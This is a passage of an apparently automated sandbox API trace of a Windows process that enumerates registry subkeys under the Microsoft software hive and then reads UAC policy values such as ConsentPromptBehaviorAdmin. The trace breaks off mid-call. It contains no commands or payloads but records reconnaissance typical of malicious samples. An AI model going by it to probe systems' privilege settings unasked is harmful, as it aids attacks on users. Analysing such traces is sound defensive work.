RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.260] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.260] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2c, lpName=0x24b930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.260] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x24c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.261] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2d, lpName=0x24b930, cchName=0x104 | out: lpName="IMETC") returned 0x0 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imetc", cchWideChar=5, lpMultiByteStr=0x24c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imetc", lpUsedDefaultChar=0x0) returned 5 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.261] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2e, lpName=0x24b930, cchName=0x104 | out: lpName="Internet Account Manager") returned 0x0 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet account manager", cchWideChar=24, lpMultiByteStr=0x24c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet account manager", lpUsedDefaultChar=0x0) returned 24 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.261] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2f, lpName=0x24b930, cchName=0x104 | out: lpName="Internet Domains") returned 0x0 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet domains", cchWideChar=16, lpMultiByteStr=0x24c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet domains", lpUsedDefaultChar=0x0) returned 16 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.261] RegEnumKeyW (in: hKey=0x24, dwIndex=0x30, lpName=0x24b930, cchName=0x104 | out: lpName="Internet Explorer") returned 0x0 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x24c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0184.261] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.261] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.262] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.262] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x31, lpName=0x24b930, cchName=0x104 | out: lpName="IsoBurn") returned 0x0 [0184.262] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.262] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c0d8 [0184.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isoburn", cchWideChar=7, lpMultiByteStr=0x24c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isoburn", lpUsedDefaultChar=0x0) returned 7 [0184.262] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.262] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c0d8) returned 1 [0184.262] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24c120) returned 1 [0184.262] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24bbb8) returned 1 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x32, lpName=0x24b930, cchName=0x104 | out: lpName="Loki") returned 0x0 [0184.262] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x80) returned 0x24bbb8 [0184.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.262] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x24c120 [0184.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="loki", cchWideChar=4, lpMultiByteStr=0x24c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="loki", lpUsedDefaultChar=0x0) returned 4 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x33, lpName=0x24b930, cchName=0x104 | out: lpName="MediaCenterPeripheral") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x34, lpName=0x24b930, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x24b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x24b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x24b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x24b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x24b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x24b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x24b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0184.262] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x24b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x24b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x24b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x24b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x24b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x24b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x24b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x24b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x24b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x24b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x24b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x24b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x24b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x24b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x24b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0184.263] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x24b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x24b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x24b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x24b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x24b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x24b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x24b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x24b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x24b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x24b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x24b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x24b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x24b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x24b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x24b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x24b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0184.264] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x24b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x24b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x24b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x24b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x24b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x24b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x24b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x24b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x24b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x24b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x24b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x24b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x24b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x24b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x24b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x24b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x24b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x24b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x24b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0184.265] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x24b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x24b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x24b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x24b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x24b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x24b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x24b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x24b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x24b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x24b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x24b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x24b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x24b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x24b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x24b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x24b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x24b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0184.266] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x24b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x24b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0184.267] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f934 | out: phkResult=0x34f934*=0xa0) returned 0x0 [0184.267] RegCloseKey (hKey=0x24) returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x24b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0184.267] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f934 | out: phkResult=0x34f934*=0x24) returned 0x0 [0184.267] RegCloseKey (hKey=0xa0) returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x24b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x24b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x24b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x24b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x24b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x24b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x24b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x24b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x24b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x24b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0184.267] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x24b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x24b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x24b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x24b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x24b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x24b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x24b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x24b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x24b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x24b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x24b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x24b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x24b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x24b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x24b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x24b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0184.268] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x24b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x24b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x24b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x24b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x24b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x24b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x24b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x24b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x24b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x24b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x24b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x24b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x24b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x24b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0184.269] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f934 | out: phkResult=0x34f934*=0xa0) returned 0x0 [0184.269] RegCloseKey (hKey=0x24) returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x24b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x24b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0184.269] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x24b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0184.270] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x24b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0184.270] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x24b930, cchName=0x104 | out: lpName="System") returned 0x0 [0184.270] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f934 | out: phkResult=0x34f934*=0x24) returned 0x0 [0184.270] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b930) returned 1 [0184.270] RegCloseKey (hKey=0xa0) returned 0x0 [0184.270] RtlFreeHeap (HeapHandle=0x240000, Flags=0x0, BaseAddress=0x24b860) returned 1 [0184.270] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x34f840, lpcchValueName=0x34f83c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x34f83c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0184.270] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x34f840, 